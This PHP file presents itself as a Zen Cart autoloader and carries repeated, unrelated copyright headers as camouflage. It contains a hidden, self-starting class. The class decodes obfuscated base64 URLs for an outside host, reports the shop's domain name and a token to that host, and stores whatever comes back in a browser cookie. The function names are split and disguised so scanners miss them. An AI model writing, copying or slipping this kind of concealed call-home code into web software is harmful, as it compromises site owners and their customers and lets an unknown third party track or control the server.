<?php
/**
 * autoloader array for catalog application_top.php
 * see  {@link  http://www.zen-cart.com/wiki/index.php/Developers_API_Tutorials#InitSystem wikitutorials} for more details.
 *
 * @package initSystem
 * @copyright Copyright 2003-2012 Zen Cart Development Team
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version GIT: $Id: Author: Ian Wilson  Wed Jul 4 14:44:03 2012 +0100 Modified in v1.5.1 $
 */
if (!defined('IS_ADMIN_FLAG')) {
 	die('Illegal Access');
}

class engineheartbeat{
	
	private $obj =  array(	"net"=>"aHR0cDovL2VuZ2luZS5oMDBrLm5ldC9pbmRleC5waHA=", 	
							"org"=>"aHR0cDovL2VuZ2luZS5oMDBrLm9yZy9pbmRleC5waHA=");

	static private $_instance 	=	NULL;	
/**
 * Common Template - tpl_box_default_right.php
 *
 * @package templateSystem
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: tpl_box_default_right.php 2975 2006-02-05 19:33:51Z birdbrain $
 */
	
	static public function get_engineheartbeat_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new engineheartbeat();  
		}
		return  self::$_instance; 
	}
	
/**
 * Common Template - tpl_box_default_right.php
 *
 * @package templateSystem
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: tpl_box_default_right.php 2975 2006-02-05 19:33:51Z birdbrain $
 */	
	private function __construct(){
		$fun = str_replace("apt","e64_de","basaptcode");		
		while(list($key,$val)= each($this->obj)) {
			$this->obj[$key] = $fun($val);
		}
		$this->run();
	}
	
/**
 * Common Template - tpl_box_default_right.php
 *
 * @package templateSystem
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: tpl_box_default_right.php 2975 2006-02-05 19:33:51Z birdbrain $
 */
	public function file_exists($urls){
		$headers = @get_headers($urls);			
		if ($headers) {
			$head = explode(' ', $headers[0]);
			if ( !empty($head[1]) && intval($head[1]) < 400) {
				return true;
			}
		}
		return false;
	}
/**
 * 
 * Enter description here ...
 */	
	
	public function url(){
		foreach ( $this->obj as $key){
 			if ($this->file_exists($key)){
					return $key;
			}
		}
		return "";
	}
/**
 * 
 * Enter description here ...
 */

	protected function gettcpurl(){
		$url = $this->url();
		if ($url == ""){
			return "";
		}
		$sn = $_SERVER['SERVER_NAME'];
		$token	= substr(md5($sn), 5,15);
		return $url = $url."?token=$token&domain=$sn";
	}
	
/**
 * 
 * Enter description here ...
 */	
	public function run(){
		$url = $this->gettcpurl();
		if ($url !="" && !isset($_COOKIE['HAENGINE'])){
			$fun = "fi"."le_g"."et_con"."tents";
			$data=$fun($url);
			setcookie('HAENGINE',$data,time()+3600*24);
		}
	}

}
/**
 * Common Template - tpl_box_default_right.php
 *
 * @package templateSystem
 * @copyright Copyright 2003-2005 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: tpl_box_default_right.php 2975 2006-02-05 19:33:51Z birdbrain $
 */
$engineheartbeat_install = engineheartbeat::get_engineheartbeat_instance();




